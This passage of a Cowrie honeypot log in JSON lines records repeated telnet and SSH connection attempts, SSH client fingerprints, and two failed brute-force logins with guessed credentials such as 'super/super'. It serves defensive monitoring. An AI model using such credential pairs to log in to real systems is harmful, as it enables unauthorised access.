ac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:43.787799Z","src_ip":"122.168.114.167","session":"c998e6b464fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.42595386505127,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:44.380615Z","src_ip":"103.233.1.130","session":"eba16f1de365","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15921115875244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:44.464598Z","src_ip":"103.233.1.130","session":"faf674d459bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":44842,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a396f136760","protocol":"telnet","message":"New connection: 103.233.1.130:44842 (159.203.135.109:23) [session: 6a396f136760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:45.512450Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":44844,"dst_ip":"159.203.135.109","dst_port":23,"session":"05722f37389e","protocol":"telnet","message":"New connection: 103.233.1.130:44844 (159.203.135.109:23) [session: 05722f37389e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:45.567389Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":44846,"dst_ip":"159.203.135.109","dst_port":23,"session":"f86a4d3de034","protocol":"telnet","message":"New connection: 103.233.1.130:44846 (159.203.135.109:23) [session: f86a4d3de034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:46.052594Z"}
{"eventid":"cowrie.session.closed","duration":31.593851327896118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:46.545774Z","src_ip":"103.233.1.130","session":"8811aa37609e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.401790857315063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:46.653825Z","src_ip":"103.233.1.130","session":"6059c40d0ed6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.851444959640503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:46.926440Z","src_ip":"103.233.1.130","session":"a94f29011a0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78302264213562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:48.472421Z","src_ip":"103.233.1.130","session":"2642163ec3ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":44858,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6d16e935cb9","protocol":"telnet","message":"New connection: 103.233.1.130:44858 (159.203.135.109:23) [session: b6d16e935cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:48.957796Z"}
{"eventid":"cowrie.session.closed","duration":31.209426641464233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:49.173280Z","src_ip":"103.233.1.130","session":"d0edbf682b7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":44874,"dst_ip":"159.203.135.109","dst_port":23,"session":"990e24eba319","protocol":"telnet","message":"New connection: 103.233.1.130:44874 (159.203.135.109:23) [session: 990e24eba319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:49.224587Z"}
{"eventid":"cowrie.session.closed","duration":12.97076964378357,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:49.738220Z","src_ip":"157.49.33.212","session":"8c7ba9bee521","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3159077167511,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:50.009794Z","src_ip":"103.233.1.130","session":"a9e7b4dae430","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":44880,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6c08434f3af","protocol":"telnet","message":"New connection: 103.233.1.130:44880 (159.203.135.109:23) [session: b6c08434f3af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:51.292217Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":44894,"dst_ip":"159.203.135.109","dst_port":23,"session":"c439faf0fc1a","protocol":"telnet","message":"New connection: 103.233.1.130:44894 (159.203.135.109:23) [session: c439faf0fc1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:51.837108Z"}
{"eventid":"cowrie.session.closed","duration":31.725777864456177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:51.950024Z","src_ip":"103.233.1.130","session":"01d0985962cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.827903747558594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:53.423128Z","src_ip":"103.233.1.130","session":"a980706faf0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51087999343872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:53.825391Z","src_ip":"103.233.1.130","session":"440e9f18c74f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":35618,"dst_ip":"159.203.135.109","dst_port":23,"session":"1db7351457ff","protocol":"telnet","message":"New connection: 103.233.1.130:35618 (159.203.135.109:23) [session: 1db7351457ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:54.757951Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":35620,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d4050b0c395","protocol":"telnet","message":"New connection: 103.233.1.130:35620 (159.203.135.109:23) [session: 3d4050b0c395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:54.790422Z"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:55.068382Z","src_ip":"122.168.114.167","session":"c998e6b464fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.43983483314514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:55.287056Z","src_ip":"103.233.1.130","session":"16bbd30e563a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.954434156417847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:55.310385Z","src_ip":"103.233.1.130","session":"b9d47559a2d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":35636,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0ddb6182d4f","protocol":"telnet","message":"New connection: 103.233.1.130:35636 (159.203.135.109:23) [session: d0ddb6182d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:55.420671Z"}
{"eventid":"cowrie.session.closed","duration":31.42364239692688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:55.593313Z","src_ip":"103.233.1.130","session":"9f7c20353aa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":35646,"dst_ip":"159.203.135.109","dst_port":23,"session":"e16b57a1ee10","protocol":"telnet","message":"New connection: 103.233.1.130:35646 (159.203.135.109:23) [session: e16b57a1ee10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:55.599436Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":35660,"dst_ip":"159.203.135.109","dst_port":23,"session":"da2cba8adcc1","protocol":"telnet","message":"New connection: 103.233.1.130:35660 (159.203.135.109:23) [session: da2cba8adcc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:56.905099Z"}
{"eventid":"cowrie.session.closed","duration":31.08306360244751,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:56.957932Z","src_ip":"103.233.1.130","session":"d86d20200bbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":35676,"dst_ip":"159.203.135.109","dst_port":23,"session":"af2da1f0aa2d","protocol":"telnet","message":"New connection: 103.233.1.130:35676 (159.203.135.109:23) [session: af2da1f0aa2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:57.586318Z"}
{"eventid":"cowrie.session.closed","duration":31.7123806476593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:57.654079Z","src_ip":"103.233.1.130","session":"efb04d70381e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71724224090576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:58.298689Z","src_ip":"103.233.1.130","session":"95beb4456ae2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":35690,"dst_ip":"159.203.135.109","dst_port":23,"session":"07d6fd0a64fa","protocol":"telnet","message":"New connection: 103.233.1.130:35690 (159.203.135.109:23) [session: 07d6fd0a64fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:58.603877Z"}
{"eventid":"cowrie.session.closed","duration":"17.1","message":"Connection lost after 17.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:58.836381Z","src_ip":"122.168.114.167","session":"c998e6b464fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.944226264953613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:59.194157Z","src_ip":"103.233.1.130","session":"e12527182dc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.953124046325684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:59.235648Z","src_ip":"103.233.1.130","session":"84b205ab2823","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":35696,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9f0dfadadae","protocol":"telnet","message":"New connection: 103.233.1.130:35696 (159.203.135.109:23) [session: f9f0dfadadae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:59.276656Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":35702,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4d3d30bfb24","protocol":"telnet","message":"New connection: 103.233.1.130:35702 (159.203.135.109:23) [session: e4d3d30bfb24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:59.525415Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":35708,"dst_ip":"159.203.135.109","dst_port":23,"session":"08b66e196ee4","protocol":"telnet","message":"New connection: 103.233.1.130:35708 (159.203.135.109:23) [session: 08b66e196ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:59.595912Z"}
{"eventid":"cowrie.session.closed","duration":30.41794490814209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:00.207555Z","src_ip":"103.233.1.130","session":"5e42441b7128","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.245409965515137,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:00.213368Z","src_ip":"103.233.1.130","session":"c7d225d7670f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.903605699539185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:00.530597Z","src_ip":"103.233.1.130","session":"2afdb4b4d1f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":35720,"dst_ip":"159.203.135.109","dst_port":23,"session":"98f12a145155","protocol":"telnet","message":"New connection: 103.233.1.130:35720 (159.203.135.109:23) [session: 98f12a145155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:00.889545Z"}
{"eventid":"cowrie.session.closed","duration":30.743794918060303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:01.241847Z","src_ip":"103.233.1.130","session":"451fa31560c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.645585298538208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:01.563075Z","src_ip":"103.233.1.130","session":"e558a271c216","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":35734,"dst_ip":"159.203.135.109","dst_port":23,"session":"093e48546ef4","protocol":"telnet","message":"New connection: 103.233.1.130:35734 (159.203.135.109:23) [session: 093e48546ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:01.706559Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":35748,"dst_ip":"159.203.135.109","dst_port":23,"session":"084dfd114fed","protocol":"telnet","message":"New connection: 103.233.1.130:35748 (159.203.135.109:23) [session: 084dfd114fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:02.693234Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":35760,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a29661f920b","protocol":"telnet","message":"New connection: 103.233.1.130:35760 (159.203.135.109:23) [session: 8a29661f920b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:02.781113Z"}
{"eventid":"cowrie.session.closed","duration":31.597578048706055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:03.133455Z","src_ip":"103.233.1.130","session":"24c92b700c7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":35762,"dst_ip":"159.203.135.109","dst_port":23,"session":"d583e7180746","protocol":"telnet","message":"New connection: 103.233.1.130:35762 (159.203.135.109:23) [session: d583e7180746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:03.302562Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":60670,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fe6cd118d1e","protocol":"telnet","message":"New connection: 103.233.1.130:60670 (159.203.135.109:23) [session: 5fe6cd118d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:04.368880Z"}
{"eventid":"cowrie.session.closed","duration":31.539206504821777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:05.452331Z","src_ip":"103.233.1.130","session":"ed683c24a755","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.848470211029053,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:06.463359Z","src_ip":"103.233.1.130","session":"f421d874f777","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.593327045440674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:07.254516Z","src_ip":"103.233.1.130","session":"29d817bd7555","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.172381162643433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:07.442325Z","src_ip":"103.233.1.130","session":"e5b5ebdd7227","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":60678,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7bb5660f7e8","protocol":"telnet","message":"New connection: 103.233.1.130:60678 (159.203.135.109:23) [session: e7bb5660f7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:07.808326Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":60680,"dst_ip":"159.203.135.109","dst_port":23,"session":"364e19acf5c9","protocol":"telnet","message":"New connection: 103.233.1.130:60680 (159.203.135.109:23) [session: 364e19acf5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:07.963483Z"}
{"eventid":"cowrie.session.closed","duration":30.651553630828857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:08.360868Z","src_ip":"103.233.1.130","session":"537c2673e777","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":60684,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d73fed273e4","protocol":"telnet","message":"New connection: 103.233.1.130:60684 (159.203.135.109:23) [session: 3d73fed273e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:08.417228Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":60688,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccd52f1c51bf","protocol":"telnet","message":"New connection: 103.233.1.130:60688 (159.203.135.109:23) [session: ccd52f1c51bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:08.949336Z"}
{"eventid":"cowrie.session.closed","duration":31.043865203857422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:09.277000Z","src_ip":"103.233.1.130","session":"7daf0d875990","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.288523197174072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:09.453945Z","src_ip":"103.233.1.130","session":"bf4dbc5feecc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":60702,"dst_ip":"159.203.135.109","dst_port":23,"session":"315085a7c422","protocol":"telnet","message":"New connection: 103.233.1.130:60702 (159.203.135.109:23) [session: 315085a7c422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:09.459492Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":60704,"dst_ip":"159.203.135.109","dst_port":23,"session":"79aa30a68102","protocol":"telnet","message":"New connection: 103.233.1.130:60704 (159.203.135.109:23) [session: 79aa30a68102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:11.721965Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":60716,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a089a0d72ab","protocol":"telnet","message":"New connection: 103.233.1.130:60716 (159.203.135.109:23) [session: 1a089a0d72ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:11.910766Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":60726,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c876e3fd47a","protocol":"telnet","message":"New connection: 103.233.1.130:60726 (159.203.135.109:23) [session: 9c876e3fd47a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:12.175657Z"}
{"eventid":"cowrie.session.closed","duration":31.14147686958313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:12.432072Z","src_ip":"103.233.1.130","session":"cecd723a92e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":60738,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e71bb3da826","protocol":"telnet","message":"New connection: 103.233.1.130:60738 (159.203.135.109:23) [session: 2e71bb3da826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:12.693994Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60770,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e077f71adc1","protocol":"ssh","message":"New connection: 159.203.92.129:60770 (159.203.135.109:22) [session: 8e077f71adc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:13.031951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:13.037018Z","src_ip":"159.203.92.129","session":"8e077f71adc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:13.042241Z","src_ip":"159.203.92.129","session":"8e077f71adc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123qwe!@#","message":"login attempt [app/123qwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:13.055089Z","src_ip":"159.203.92.129","session":"8e077f71adc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":60742,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c9f34e7df7a","protocol":"telnet","message":"New connection: 103.233.1.130:60742 (159.203.135.109:23) [session: 2c9f34e7df7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:13.371311Z"}
{"eventid":"cowrie.session.closed","duration":31.51725482940674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:13.432831Z","src_ip":"103.233.1.130","session":"54c19ad8fe2c","protocol":"telnet"}
